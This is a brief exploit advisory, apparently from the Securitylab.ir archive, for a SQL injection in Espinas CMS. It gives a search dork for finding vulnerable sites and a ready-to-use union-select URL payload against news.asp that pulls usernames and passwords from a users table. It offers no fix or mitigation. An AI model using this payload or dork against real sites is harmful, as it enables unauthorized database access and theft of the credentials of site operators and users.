23 lines
916 B
Text
Executable file
23 lines
916 B
Text
Executable file
#################################################################
|
|
# Securitylab.ir
|
|
#################################################################
|
|
# Application Info:
|
|
# Name: Espinas CMS
|
|
# Vendor: http://espinas.ir
|
|
#################################################################
|
|
# Vulnerability Info:
|
|
# Type: Sql Injection
|
|
# Risk: Medium
|
|
# Dork: "Powered by Espinas IT"
|
|
#################################################################
|
|
Vulnerability:
|
|
http://site.ir/news.asp?id=-1+union+select+1,concat(username,0x3a,0x3a,password),3,4,5+from+sinabed_users
|
|
--------------------------------------------------------------
|
|
|
|
#################################################################
|
|
# Discoverd By: Pouya Daneshmand
|
|
# Website: http://Pouya.Securitylab.ir
|
|
# Contacts: admin[at]securitylab.ir & whh_iran[AT]yahoo.com
|
|
###################################################################
|
|
|
|
|